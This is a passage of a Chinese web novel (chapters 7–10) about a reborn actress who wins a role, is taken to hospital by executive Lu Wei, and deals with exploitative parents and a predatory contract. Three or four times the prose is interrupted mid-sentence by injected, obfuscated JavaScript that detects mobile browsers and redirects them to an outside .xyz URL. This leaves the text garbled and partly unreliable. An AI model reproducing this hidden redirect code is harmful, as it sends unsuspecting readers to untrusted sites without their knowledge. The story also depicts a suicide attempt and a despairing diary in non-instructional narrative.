但陆嵬很厌恶烟味,虽然没和自己说过,但她看到有人抽烟时总会第一时间摒弃呼吸,眉毛也会蹙起,第一时间选择离开,谁的面子都不给。 她自己烟瘾不重,也不想陆嵬明明难受,却总忍着不说的模样,后来干脆狠狠心戒了。 今天到现在,提着情绪接连试戏,压力很大、精神和身体也都强撑着,黎数早就想抽一根提提神,但始终找不到机会。 她看着陆嵬在烟雾后陡然皱起的眉眼,逗趣似的挑眉,又很快要求饶:“早知您不喜欢……” 陆嵬静止片刻,却忽然伸出手夹住了那根略苦的烟。 烟味不重,薄荷味盈满口腔,她已经两年没闻到这个味道了。 这是黎数从前长抽的烟,她后来找了很久,却总是找不到一样的。 陆嵬沉默的一口一口将烟抽完,自始至终没说一句话。 一根烟抽的熟稔无比,黎数有些讶然,但她没忘记自己还在试镜。 眼波流转间,她将头枕在了陆嵬脖颈,柔声道:“您要记得我,要常来看我。” 将烟摁灭,烟气渐消,陆嵬没搂抱,也没亲昵亵玩,“什么名?” 黎数双眸微闪,偏着头,像是隔着千山万水和陆嵬对视,漫不经心的说:“奴现唤白玫。” 费鹤鸣就是在这个时候喊了停。 黎数慢悠悠从陆嵬身上起来站好。 烟草让她的精神提起来了些,将身上的衣服重新修整好,散发重新收拢,固定了一个简简单单的马尾坠在身后。 低头整理的时候,才发现白衬衫的袖口被染上了些红。 本来伤口的血已经止住了,可能是陆嵬下午碰面时的那一捏又把伤口捏裂开了。 回去以后还是得去一趟医院上个药。 后面,范从荣听到风声也过来了,一屋子挤挤挨挨的、导演组的人居然凑了个五五六六。 费鹤鸣又让黎数单独试了几次,黎数已经懒得数到底几场了。 随机的、剧本上的,一直到最后,费鹤鸣看她的目光越来越炽热,抬头环视一圈,“你们都什么意见?” 定角从来不是一言堂,费鹤鸣拥有这个圈里,但她也不滥用。 秦霜首先赞同:“我没意见,她的演技足矣写入教科书。” 房间里还有来凑热闹被临时抓来探班的表演系老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456875|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,闻言也摇了摇头,“没有哪里不好的。” 费鹤鸣看着黎数那张脸,眼睛里似乎有泪花在闪,但最终她没多说什么,只是拍板定音:“就你了!” - 黎数出试镜厅的时候,外面已经空无一人了。 在里面精神全程紧绷,试的戏一场接一场,黎数浑然不知外面的时间几何,只知道现在又饿又累,浑身冰凉虚软无力。 长长的走廊漆黑且静谧,黎数一人走在这小道上,身后的灯火渐渐远去,前方大楼白灯明亮,却没一丝人烟。 但一直走到了前厅不远处,黎数忽然发现有一个个子矮小的女人躺在椅子上睡着了。 居然是沈晓青。 她实在是没了说话的力气,此刻见到沈晓青的脸不亚于是见到了一个可以暂时休憩的站点。 黎数疲惫的坐倒在椅子上,撑着的一口气没散,短时间却也已经不想动了。 她的动静把本来就睡得不沉的沈晓青惊醒,她迷迷糊糊睁眼,见到黎数的第一时间又是一句:“你到底干什么去了?搞成这幅鬼样子?!” 黎数扯扯唇角,想笑,“你能不能换一句。” 沈晓青一噎,想起来点什么,惊疑不定的说:“秦霜把你带后头去以后到底干什么去了,本来晚上还有一场,突然有人过来说取消了,场子都给散了。” 黎数告诉了沈晓青一部分内容,“带我去后面试镜去了。” 沈晓青满脸的怀疑和不信任,“就你?” 她对原主的印象黎数不知道,但签约了两年,好歹绑定着‘小沈凝雪’,却连个配角都没混上,这已经不是运气问题了。 演技、社交、背景……但凡有其中一点有优势,两年都不会毫无水花。 黎数没多解释,只淡淡说‘嗯’。 她正想着要怎么把沈晓青打发了,自己去一趟医院,沈晓青就已经率先说道:“你出来了就行了,那我得回公司了,发票你要报销回头就给我,不报销也随便,后头几个月也没你工作了……” 她皱皱眉,看着黎数比鬼都白三分的脸色,“你趁着这机会多休息休息吧,好歹每个月还拿着五千块钱的工资,吃点好的吧你。” 说罢,沈晓青穿上自己的外套,起身的同时打出了电话,和电话那头的上司汇报着什么。 沈晓青的背影消失在门口,黎数仰起头,活动了下僵硬的脖子,实在没力气,闭上眼睛打算休息会再出去。 四下陡然安静下来,除了黎数虚弱的呼吸声再也没有其他。 但不过几秒,有一阵平稳的脚步声从远走近,最后停留在了黎数面前。 黎数心里一颤,睫毛微微抖动了下,旋即睁开了眼睛。 两人对视良久,黎数才缓慢了眨了一下眼睛,露出个意味不明的笑容。 她现在确确实实已经很虚弱了,甚至在猜想如果今天一口气撑不到医院,可能就要晕倒在这被人送去医院。 “陆总啊。”黎数轻声说道:“能不能发发善心,麻烦陆总送我去趟医院?” 陆嵬在她面前居高临下的看着,目光刻骨,似乎努力在黎数的身上寻找着什么。 半晌,她半蹲下身,伸手拉出了黎数的左腕。 出来前匆匆缠的纱布上已经重新溢出了鲜血,不能算多,但此刻,外面已经干涸的血迹底下又渗出了新的血液。 陆嵬沉默的看了两眼,随后抬起头,说:“你割腕?” 8. 第八章 腕上星星点点的血迹也瞒不住什么,但黎数还是笑了笑,说:“意外。” 陆嵬没追问,她也没那个立场。 事实上她就连拉黎数的手腕都只是扯着她的袖口,然后拨开看了看,因为她也并不那么在意。 门口只响了一声的喇叭打断了两人继续交流,黎数回过头,发现是陆嵬的车,驾驶座上是穿着正装的女司机。 黎数靠着椅背,心想陆嵬的变化确实是很大。 从前闻到烟味,不管面前是什么样的局都会冷脸走人,现在居然能忍着脾气配合完,甚至还把烟抽了。 也不喜欢用司机,因为她不喜欢自己的车上总有陌生人在,现在居然也有了专职司机。 两年啊,原来物是人非是这样的感觉。 其他人眼里的慢慢变化,在她眼里都变成了突然之间。 见黎数歪着头,并没有深交的意思,陆嵬也没勉强。 她重新站起来,也没有伸手去扶黎数的意思,甚至后退了半步,说:“能走吗?” 黎数沉默两秒,点点头,撑着腿站起来,慢悠悠的往前走,一边拖着嗓音说:“谢谢陆总,陆总好人有好报。” 身后的人没再回话,沉默的跟了一路。 黎数就也不再说话了。 - 上车后,黎数主动爬到了后座,之后就靠在车门上闭上了眼睛。 她不熟悉路,也不知道从这里到最近的医院具体要多久,但她实在是睁不开眼了。 生理上的疲惫是其次,在她的印象里,自己已经四十多个小时没有闭眼了,心理上也极度需要睡眠。 司机大姐不知道因为什么原因,从后视镜里打量了她几眼,但她的职业素养显然很强,黎数闭上眼前,冲她只是笑了一下,她就冷静的收回了视线,也不再多看,更没有多问。 司机落了锁、开了空调,压低声音问到:“陆总,去哪?” 陆嵬和黎数隔着一个中间的位置同样坐在后排,闻言她说:“中心医院。” 司机轻轻应了声,车辆启动,缓慢但极稳的上了路。 - 急诊室里只有一个值班的大夫,和一个年级颇大的护士,黎数在门口缴完急诊费进去,莫名回头看了一眼。 车停在医院前,但并没有离开。 黎数垂眸,捻着单子进去包扎。 纱布拆开后,里面又是血肉模糊的一片。黎数皱了皱眉,别开眼睛望向了别处。 大夫的动作很轻柔且一直很稳,除了初始看到伤口的前两秒沉默了片刻,后面就没再露出过什么明显的情绪。 “伤口很深,虽然不用缝针,不过短期不能碰水了,洗澡的时候注意点,后面每天都得上药清创,连着上五天。”大夫说着,撕下了一张病例,说:“名字、电话都说一下,护士会提前叫你过来。” 黎数不知道原主的手机号码,刚说完不记得,大夫就用黎数的手机播出了电话。 大夫的手机在口袋里震了两下,又耷拉着眼皮摁断,将手机还给了黎数。 黎数起身,刚刚道谢,就见老大夫也跟着起身脱下了外袍,说道:“哎,等会,天黑了不好走,门口那破台阶难走,丫头,受累扶着我走一段。” 黎数眨眨眼,还不等应声,大夫就已经火速穿上了外套,用那双枯瘦的手搀住了自己的右手。 与其说是搀,倒不如说是像捏小鸡崽子似的捏着。 路上碰见了刚刚来送药的护士,还没等她说话,就被大夫摆手打发了。 黎数意识到了什么,但也没拒绝老人家的一番好意,沉默的跟着一起走了出去。 急诊门口的台阶早就已经修缮完成,但也没有谁低头去看,更没谁主动去揭开那个不算多高明的谎言。 老人家和黎数一起走到了门口,撒开了手说:“自己来的?” 犹豫一下,黎数摇头:“朋友送我来的。” “怎么没等你?” 黎数搓搓手,“不熟。” 老人浑黄的眼睛不错的盯着她,但很温和,黎数微微笑了一下。 老人这才继续道:“你如果出不了门,或者没力气出门,就打我电话,我让车去接你,放心孩子,免费的。” 黎数心里感激,点点头:“我明天会准时过来的。” 不远处的车门打开,有人从车上走了下来。 深夜在医院急诊门口停留的人甚少,两人不约而同望了过去。 陆嵬居然还没走。 什么时候陆嵬这么好心了? 往常她在路上看见出车祸都会冷眼离开,她打120的功夫,陆嵬还能在旁边说一句‘用不着你打,也许早就有人打了,而且交警也在。’这样的话。 还是因为自己和上辈子相似的这张脸? 陆嵬走到近前,但并不是冲着黎数来的。 她朝身边的老人伸出手,那是一个接扶的动作,嘴里喊着:“姨姥姥。” 得,自作多情了。 黎数后退小半步。 俞宝珠没好气的把她手打开,陆嵬从善如流的垂下手,这才转过头,冷淡的打量着她,说道:“处理完了?” 黎数挠挠脸,新鲜洁白的纱布在左腕上捆着,“啊,弄完了。” 陆嵬‘嗯’了声,双手插在风衣口袋里,没再理会黎数,和身边只到她肩膀,不断瞪她的小老太说:“姥姥让我来接您。” 老太太不搭理她,依然将慈爱的目光放在黎数身上。 “是她送你来的?” 黎数迟疑了下,还是点了点头。 俞宝珠露出了一副讳莫如深的表情,但黎数很快道:“我和陆总是偶然遇见的,她见我脸色不好,主动送我来的医院。” “先上车,孩子。”俞宝珠伸手拉着她,两人往不远处的车上走。 黎数放弃了解释,左右后面和陆嵬的纠葛应该也不至于再上升到需要见家长的地步。 她也有些疲于应付长辈,但也幸好,接下来这一路俞宝珠都没再说什么,更没像是普通老人一样瞎打听。 下车后,黎数伸手抚了抚手腕,站在车门口向陆嵬道谢。 “陆总,今晚谢谢你。” 陆嵬没抬头,目光落在手上办公的平板上面,只冷淡的‘嗯’了声。 黎数关上车门,在原地看着陆嵬的车驶离了小区大门。 门锁是公寓楼统一配备的指纹锁,这一栋楼都是一统娱乐旗下给艺人居住的地方。 面积不大,但一个人住也算宽敞。 黎数从冰箱里面翻出了两袋面包和一排牛奶,随便应付了两口。 原主的信息还需要大量的时间去搜寻查找,亲人、朋友、工作……等等,远近亲疏她也得知道个大概。 黎数实在是有心无力,蹬掉鞋子,也懒得洗漱,倒在床上很快就昏睡过去。 - 车上的气氛并不算好。 俞宝珠坐在前座,后视镜已经被她掰到了可以死死盯着陆嵬的位置上。 但陆嵬一直垂着头办公,车已经从西港明珠离开了近二十分钟,就没见陆嵬说过一个字。 在前面一个红绿灯口时,俞宝珠终于忍不住了,说道:“那孩子看着岁数不大。” 陆嵬‘嗯’了声,头也不抬的说:“刚满十八。” 俞宝珠脸色‘唰’的一变,冷着脸和陆嵬说道:“她手上的痕迹很深,那样的伤口,血流超过半小时她就死了!她一丁点余地都没给自己留,是奔着必死的决心去的。” 陆嵬动作停了一下,终于将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456876|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头抬了起来。 但后视镜里,她的表情有惊讶,却没有太多意外,更像是在思考着什么。 俞宝珠皱了皱眉。 陆嵬想了想,问她:“这么深吗?” 俞宝珠深深叹了口气,“很深。” 她今天也是帮一个学生去顶班,实际上急诊这种劳累活早就已经轮不到她了,她每周也就只在门诊待一个上午而已。 但即便这样,以她从医这么多年的经验来看,伤成那样,求死意愿已经极其强烈了,在急诊也不多见。 她还能撑着来医院包扎,甚至还能正常讲话,这不符合常规逻辑。 陆嵬又是一声‘嗯’。 俞宝珠气不打一处来:“你就不能说句别的?” 陆嵬说了:“她不是说了吗,和我不熟。” 俞宝珠更生气了。 开车的张姐在陆嵬从后视镜里发射出的目光威逼下颤巍巍开口:“这是真的,我之前从没见过……” 她卡了下,才说:“从没见过那姑娘,今晚是第一次看见。” 俞宝珠闻言一阵的诧异。 两年前,陆嵬突然之间不再开车,又换了几个人,才定下了现在的司机小张,出行必跟随,她也没必要在这件事情伤说谎。 俞宝珠沉默的坐回了椅子上。 陆嵬示意张姐继续开车,目光再一次虚虚落在了手中黎数的资料上。 她没撒谎。 她的原名确实是叫黎数。 陆嵬垂下眼睛,食指虚虚的在‘黎数’两个字上划过,露出了一丝微笑,但很快微笑消失,刚刚一闪而过的温情也荡然无存。 微信上弹出了个消息。 陆嵬点开。 【裘夏:是那一群饭桶的人。】 陆嵬皱眉:【什么一群饭桶。】 【裘夏:哦,一统娱乐。我们一般叫他们一群饭桶、一帮饭桶,或者是那些垃圾桶。】 陆嵬没理会裘夏给其他公司起的昵称,问道:【托你查的事情呢?】 【裘夏:查到了。一统老传统,死签。合同无限期续约,每一年违约金一百万递增,只给保底五千工资,要么拿钱解约,要么考公上岸,要么被拖死改行去卖蛋炒饭。】 插科打诨进程过半,裘夏终于回了一句算正经的。 【裘夏:你到底想干什么?】 陆嵬漫不经心的打字:【别管。】 她的目光落向窗外,眼中藏着浓的散不开的阴云。 她又想起了俞宝珠的话。 伤口极深、是奔着必死的心去的,能撑着到医院包扎都很不可思议,更遑论是还能比正常人还正常人的去交流。 这些是俞宝珠知道的,就已经让她足够惊讶于少女的韧性。 陆嵬想到了一天一整个下午和晚上黎数的表现。 她深知这个不过十八岁的小女孩的心里,不光只有韧性,她还在那双眼里看到了足以与其能力堪匹配的野心。 陆嵬的目光不受控制的又落向了‘黎数’这两个字上,只是两个字而已,就让她心痛如刀绞。 但不知是想起了什么,她的唇角向上扯了扯,手指从冰冷的平板边缘划过,忽然露出点期待来。 她常用的手机壳上有明显的磨损痕迹,手机也是几年前的旧款,用起来其实已经不那么灵敏了。 陆嵬很有耐心,等着系统加载完毕,才又点开了刚刚的对话窗口。 界面上还停留在裘夏敲出来的【?】上。 【陆嵬:[超大视频文件*6]。】 【裘夏:?64个G,我和我老婆蜜里调油,你留着自己用吧。】 【陆嵬:看完。】 她给裘夏发的,是黎数今天下午所有的试镜内容,原片无修无剪辑。 9.第九章 第二天黎数早早的就醒了。 昨晚检查的时候,俞大夫顺手给她做了几项基础检查,除了失血过多外还有低血糖和轻微脱水,并且嘱咐她要卧床多休息,最好去补液治疗。 但黎数现在实在是没有功夫在医院输液。 一夜的睡眠没能缓解那种由内而外的疲惫,吃了点昨晚上开的药,又在床上静坐了一会,黎数才起身。 房间里没有电脑,也没有乐器,原主的显然不多,就连手机上的游戏都只有消消乐一个,倒是在一旁的小书桌上发现了不少笔和本子。 原主有写东西摘抄的习惯,但字体一般,不像是练过书法。 她写日记,但日记不多,最长隔数个月才有一篇,字迹设从稚嫩到成熟。 黎数在本子上随便写了个字,发现自己的笔迹和上辈子是一样的。 她将那张纸翻页,紧接着,一个女孩的短暂的一生就这么简单而又粗糙的被铺开在了黎数面前。 原主的老家在四川的一个小村子里,有父母和一个哥哥,对她不算差。 十六岁时,她被一统娱乐的经纪人发现,赚到了第一笔算是不菲的费用,那笔钱她都交给了父母。 从那以后,进娱乐圈的想法在她的心里扎了根。 看到这里,不管是将所有钱都交给父母,还是一个没有背景的漂亮女孩因为来钱快,所以执着的想进娱乐圈,都让黎数忍不住皱了皱眉。 这圈子没那么好混,一统娱乐也并不是什么正经公司。 女孩逐渐变得自卑敏感,本就没能成型的三观在短短两年没摧毁殆尽。 日记越到后面写的越乱,最后甚至变成了漫无目的的涂鸦,充斥着怨恨和对不公的控诉,对社会、对公司、对家庭。 稚嫩带点倔强的字迹下藏不住一个女孩的希望和野心,但她的能力和现状无法使她更进一步,日复一日,终于压垮了这个对世界都还没有清晰认知的小女孩。 她才刚满十八岁而已,比自己估算的还要小一些。 黎数放下日记,将其放回原位。 她在一边的文件夹里找出了日记里提到的合同原件。 这是一份流氓合同,自签订当天,甲方按月支付乙方五千工资,并培训乙方技能,为期一年,时间一到自动续约。 解约费用以每年一百万的数量递增,且甲方随时可以终止合约。 现在合同已经走了两年,解约费就高达二百万。 刚把合同放到一边,黎数放在桌子上的手机震了两下,是一个陌生号码,等了两秒,对方没有挂断,黎数才接通。 “黎数?” 是一个陌生的女声,黎数很久没听到陌生的人这么上来第一句就是连名带姓的喊她,甚至连个‘喂’的前置都没有。 黎数点头,想起对面看不到,又应了声:“我是,请问哪位?” “我是寰宇娱乐的裘夏。偶然看到了你的试镜片段,想和你见面聊聊。” 对方说起‘偶然’两个字时打了个磕巴,黎数也没在意。 毕竟《秘宝》就是寰宇联合出品的,她想偶然就能偶然,想必然也能必然。 裘夏是寰宇的合伙人之一——和陆嵬不同,裘夏主要负责艺人的业务区块,同时也是业内极少数刚刚三十五岁就被誉为‘金牌经纪人’的女强人。 她和原公司合同约满后,当时是带着手下大大小小几十个艺人从原公司走的。 艺人从歌手到演员应有尽有,其中甚至不乏京港的超一线前辈。 这样的一个人,怎么会突然来找她? 经纪人圈顶流,有能力、有资源,多少一线流量上赶着都来不及。 因为演技,还是因为年纪? 黎数垂着眼,左手无意识的用拇指在桌子一角轻轻摩擦,这是她思考时的小习惯。 “你在听吗?”电话那头道:“方便的话明天来一趟寰宇总部吧,我想和你见一面。” 不等黎数回话,裘夏继续说:“当然,还有白玫的合同也需要签订,希望明天你可以带着证件准时到。” 黎数这下没有拒绝的余地,略思考了片刻就答应了。 即便不知道裘夏怎么会找上她,也不管是什么原因,但白玫这个角色她得拿到手。 电话刚挂断,一条信息就发了过来。 上面是寰宇大楼总部的地址,位于城区中心,从一统这边过去不算远。 黎数将短信收藏保存、以免遗漏,正巧护士打了电话来,提醒她去换药。 雪还没有停,天地已经铺上了一层雪白,道路上是熙熙攘攘的人群,打着伞的情侣,天上还有刚升起的日光。 黎数站在楼下,闭着眼,仰起头任由雪花降落在脸上、又感受着那一丁点凉意融化,片刻后,略勾了勾唇角,上了地铁,向昨晚的医院赶去。 - 裘夏看着电话,身上的针织衫被她穿成了围脖,一副用袖子勒死自己的模样:“这小丫头……” 陆嵬头也不抬,把裘夏刚刚偷偷放在边缘的棋子拿开,然后丢掉。 裘夏自己补全了剩下的半句话:“怎么跟你说的不一样,跟视频里表现出来的也不一样呢?” 事实上陆嵬并没有跟她说过这个名字同样叫做‘黎数’的女孩什么,她丢了几十个G的视频,只留了一句‘看完’。 视频上是黎数在《秘宝》面试区内的表现,以及进了内场办公室后试镜的全程。 无p,无修,无剪辑。 三无没有让她暴露弊端和短处,反而让她看者更直观的受到了她演技的冲击。 十八岁,没有演出经验,甚至连配角都是那群饭桶跨年晚会上的娱乐小品和长歌大赛。 可在看完所有视频,饶是裘夏也在现场目睹过大多数影帝、影后级别的演员表演,那一刻也不免受到了种极其诡异的冲击和惊艳。 陆嵬这时候才抬了抬眼,看向了还在播放着视频的电脑,忽然丢出了一句:“不知道,不熟。” 裘夏耸耸肩。 两人略安静的下完一盘五子棋,裘夏被追的满棋盘乱爬。 惨不忍睹的把棋盘一扒拉,裘夏说道:“有句话,我不知道该不该问……” “那就别问。”陆嵬也没去收拾棋盘,将手上的黑棋子丢进棋盒,“你有你想要的,我也有我想要的。” 裘夏脸上的玩味渐消,换成了某种复杂难言的情绪:“我以为你看到和长得她相似的人,第一反应是厌恶。” 她话音滞了下,后面半句没说。 不光是长得相似,甚至就连名字都是一样的。 从前的黎数一双眼睛长得极美,上百个女明星单独把眼睛截出来放在一起,让观众认人,黎数总是被认出来最多的那一个,从无错漏。 最夸张的时候,黎数的眼睛都成了不少小明星、网红的整容模板。 可整得出形,整不出神,何况黎数那四片天生但逆天到能当扇子的上下睫毛。 这些年也不是没有和黎数三份相似,就腆着脸往寰宇贴边,又或是网红靠故意模仿走捷径的,但陆嵬的态度从一而终——厌恶的彻底,看到就直接封杀。 因为这事儿置换出去的资源数不胜数,陆嵬家大业大不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆嵬唇角提了提:“不把她身上最后一滴血吸干给沈晗铺路,吴双怎么可能会满足,就像当初对待……” 裘夏倏地起身。 两个身材高挑的女人在办公室对望,针尖麦芒一触即发。 情绪对撞上头,裘夏说出的话奔着诛心走:“是我误会你了。我还当你是对那个死了的黎数余情未了,心血来潮想找个替身捧捧,用一样的名字和脸去复刻点什么,原来是想物尽其用。” 陆嵬沉默着不说话,眼睛空空的没有落点。 场面一时之间有些难堪。 裘夏被触碰到逆鳞,从不愿意、也不敢回想爱人的合同还在吴双手里时,是怎么被吴双压榨的。 所以她话说的格外伤人,她和陆嵬认识快九年,知道黎数死后陆嵬这两年怎么过的,不免有些后悔。 最后一口抽完,她将烟掐灭,手上的乱笔涂鸦美甲显得格格不入。 吐出最后一口烟,裘夏揉了揉眉骨,说道:“对不住,是我太激动了。这个黎数的事儿我自己会衡量,你用不着激我。这么好的苗子,我也不可能留着给吴双。不过在这之前,我还是想问一句,你这么捧她,到底想干什么。” 陆嵬摇摇头,最后只说:“寰宇后两年的资源会向你倾斜,你看着用吧。其他的不用管。” 话到这也知道问不出什么了。 裘夏沉默的点点头,起身理了理粘在身上的裙子,即将出门之际,还是回了个头,说道:“虽然我刚刚是真的想把你的头摁在烟灰缸里,但是你要真有事,记得说一声。” 陆嵬在沙发上遥遥和她对视一眼。 裘夏微微一笑,“我还是会把你的头摁烟灰缸里,但出完气,我也会帮你的。” 10.第十章 伤口恢复的情况比黎数预想中的要好一些,没有感染的迹象。 回来的路上黎数在路上买了一份小馄饨,一边想着未来,一边顺手看了余额。 原主的身上只剩下今天发的五千块钱,满打满算一共5039,意料之中,但不免唏嘘。 她大致看了一眼账单记录,发现每一个月工资刚发,就被分别转账给了原主的父亲或者母亲。 最多的一两千,一般在月中,最少的几十,一般在月末。 聊天记录里的内容充斥着怒骂、绑架、威胁、哀求,但无一例外,每一次都是以父母的胜出为结束。 不论钱多少,只要拿到了,就证明这个女儿还在掌控的范围内。 她现在住的房子是一统提供的,且一统有食堂,距离这里也不远,签了艺人约的可以免费吃三餐。 食宿全免的情况下,两年的时间,这个刚刚成年的少女居然没能为自己攒下一分钱。 黎数有些哑然,她并不知道女孩一辈子的成长经历,何况外人也没资格去评说什么。 但现在面对这对吸血鬼父母的人,是她。 不是那个思想刚刚挣脱封建牢笼,想要挣扎摆脱,却因年纪太小、阅历太少而屡屡败在父母威压下的少女。 黎数冷眼看了看信息。 10:46 【爸:乖女:工作可还顺利,近期有无忧虑,工资是否已到账?你父母安好,但家里无米下锅,本月你已成年,应付的赡养金可否按时支付?】 11:00 【爸:乖女:是否收到消息,请坦率回复,我和你母亲翘首以盼。如若工作繁忙,请及时转账,以免遗漏。】 【爸:语音通话未应答。】 【爸:语音通话未应答。】 【爸:语音通话未应答。】 11:10 【爸:你成年了,翅膀硬了,不接爸妈电话,小心天打雷劈!】 现在才刚十一点半,后面这对父母又连续打了七八个视频和语音通话才肯罢休。 但很快,他就甩出来了一张火车选座界面的截图,目的地正是申海市。 这是实打实的威胁。 黎数打从心底里觉得厌恶和荒谬,但知道冲动也解决不了什么,皱了皱眉,先把小馄饨放在了一边。 但大致也拼凑出了这一家人的简单情况。 原主的父亲小学毕业,在工地做体力活,母亲没读过书,在家里务农并做点小生意。 哥哥则初中辍学,已经二十九岁,但至今在家无所事事,最近正张罗着相亲盖房子。 公司里包括沈晓青都不知道原主的家庭情况,原主一直瞒的很好。 而根据日记里说,父母甚至把将原主带走的经纪人当成了‘上等人’,态度极其恭敬,从不敢去打扰,更遑论电话或是去公司堵门。 黎数心里大概有了数,给那边发了条信息。 【黎数:尊敬的父亲,您好。由于公司业务制度改革,经济效益不好,工资发放日从每月15日改到了30日,并收回公司统一住宿房间,需要缴纳每月1650元的房租,押一付三,共计6660元。这是公司详细的说明文件,请您仔细过目,望理解。】 一句话编的黎数脑袋打架,随手从网上下载了份模板,名字一换就发了过去,侧着头想了想,又敲下了一段话。 【黎数:你乖女一人在外,上月给您共转账3750元。现下已身无分文,真真正正的无米下锅,可否请父亲救我于水火危难,将3750元转回,以凑够本次房租,乖女不胜感激。】 对方久久没有回应。 黎数将手机丢一边,一直到吃完了小馄饨,手机才又震了震。 【爸:详细文件经我已与你母亲、兄长研究,确认属实。本月赡养金你可暂时不给,家中实在困难,要给你哥哥盖房娶妻,房租问题父母无法给你支撑,望你自己解决。下月工资到账,你就有一万元,到时将赡养金一起补上。】 【黎数:知道了。】 外人口中的老实人父亲倒是挺会算账。 黎数重新看了眼左腕,绵密的痛感依然存在强烈。 她无法想象少女究竟是带着什么样的心情去选择放了一池子热水,划痕也深到医生都皱眉的程度的。 用了一天的功夫,黎数又大致了解了原主在公司的处境。 她因为家庭原因,导致根本不会社交,而对娱乐圈的向往,也因为在一统的两年彻底被磨平,逐渐开始产生自毁倾向。 她敏感、自卑、缺爱却又防备心极强,而更因为只是一个拉来的陪衬,又没有背景,她被公司从上到下鄙夷轻视,就连一个能说说话的朋友也没有。 两年的时间,她被整个现实社会隔绝在外,不懂得培养喜好,没有向外交流的途径,领着钱都不知道怎么花,还要每天面临家里无休止的压榨。 只是一个节俭到每天连五毛钱的香菜都要记账,发泄也只敢写在日记里的小姑娘。 最后一张日记本上的钢笔字迹被眼泪晕开了几个墨团。 【活着太累了,我想死。我也想活着,可是我活着好没有用。】 【为什么我会有这样的父母和哥哥,有没有人能帮帮我,为什么啊?】 【有没有人能帮我活啊,我把命给你,你帮我活的像个人好不好啊。】 【救命啊。】 她的情绪时好时坏,时暴怒时抑郁,到最后全凭文字发泄所有情绪。 黎数皱眉看完,叹了口气,在空无一人的房间里低声说了句:“辛苦了,别难过。” 过了会,黎数拿起笔,在日记本上将这六个字写下,又在右下角写下了两人相同的名字。 她一边写,一边低声说:“从今以后,我帮你活下去。我会带你一起登上最高的领奖台,让你听到无数人喊‘黎数’这两个字,帮你摆脱掉曾经的阴霾,带你走到你父母、你哥哥此生都只能仰望但触不可及的高台。” - 第二天一早,黎数在衣柜里挑挑拣拣,选择了一件比较能遮风的黑色羽绒服。 衣柜里的衣服不知道是不是公司刻意安排,黎数在里面看到了数个沈晗穿过的衣服的平替款,不过即使是平替,也是少女消费不起的价格。 她的气色比前两天好了很多,只是嘴唇还是没什么血色。 申海市的高楼林立,早上十点半,司机把车停留在寰宇娱乐大楼前。 寰宇坐落在市中心的商业区内,周边数座写字楼拔地而起,街道一尘不染,餐厅高端大气,西餐、咖啡厅四处可见,随便都是几十上百的价位,空气中充斥着贵字。 之前她们并没有约好具体见面的时间,黎数到了以后先给裘夏打了个电话,没想到对面很快就接了。 “直接来33楼,在休息室等我。” “知道了。” 黎数挂断电话,寰宇内部命令严谨,裘夏吩咐的事情前台一早收到了信息,但见到黎数的那一刻,前台还是呆愣住了。 “数姐……” 一直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469605|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎数走近,前台才发现原来不是一个人。 她将吃惊的表情收起,压着疑惑,把黎数带到了直通的电梯前。 黎数走进电梯,温和的冲她笑了笑。 前台又是一阵的恍惚,一直目送着电梯大门关上,久久没能回神。 两年过去,寰宇的前台倒是没有换人。 黎数记得她叫李情,脸上总挂着笑的女孩,非常周到细心,每次见到自己都会说一声‘数姐又来找陆总呀’,再帮她问陆嵬所在的楼层,给她开直通的电梯。 电梯上升至33层,黎数敛了唇角的笑,熟门熟路的走到了休息室。 休息室里面的桌子上已经放好了两杯咖啡。 只等了片刻,裘夏踩着高跟鞋推门进来,手机还贴在耳朵上:“人已经到了,你会开完了就尽早,合同还得——” 她抬起头,目光登时滞住,话音随即消失。 电话已经不知道什么时候被挂断了,裘夏已经无暇顾及。 这一刻,她看着坐在桌前的黎数将目光从窗外转向自己时,满脑子只剩下了一句话: ——姓陆的是不是真走火入魔,找了个替身回来睹脸思人。 一切想法都发生在眨眼间,借着回身关门的动作,裘夏极快的调整好情绪,和起身的黎数简单握手,重新落座。 “稍等几分钟。”裘夏指了指桌上的点心和果盘,若有所思的说:“陆嵬在我后面,马上过来。” 黎数心下了然,知道是总合同要经陆嵬的手,就点了点头:“好。” 裘夏很好奇的打量着她,想起她今年才刚满十八岁,还是觉得不可思议。 天底下怎么会有这么相似,就连名字都是一样的人呢。 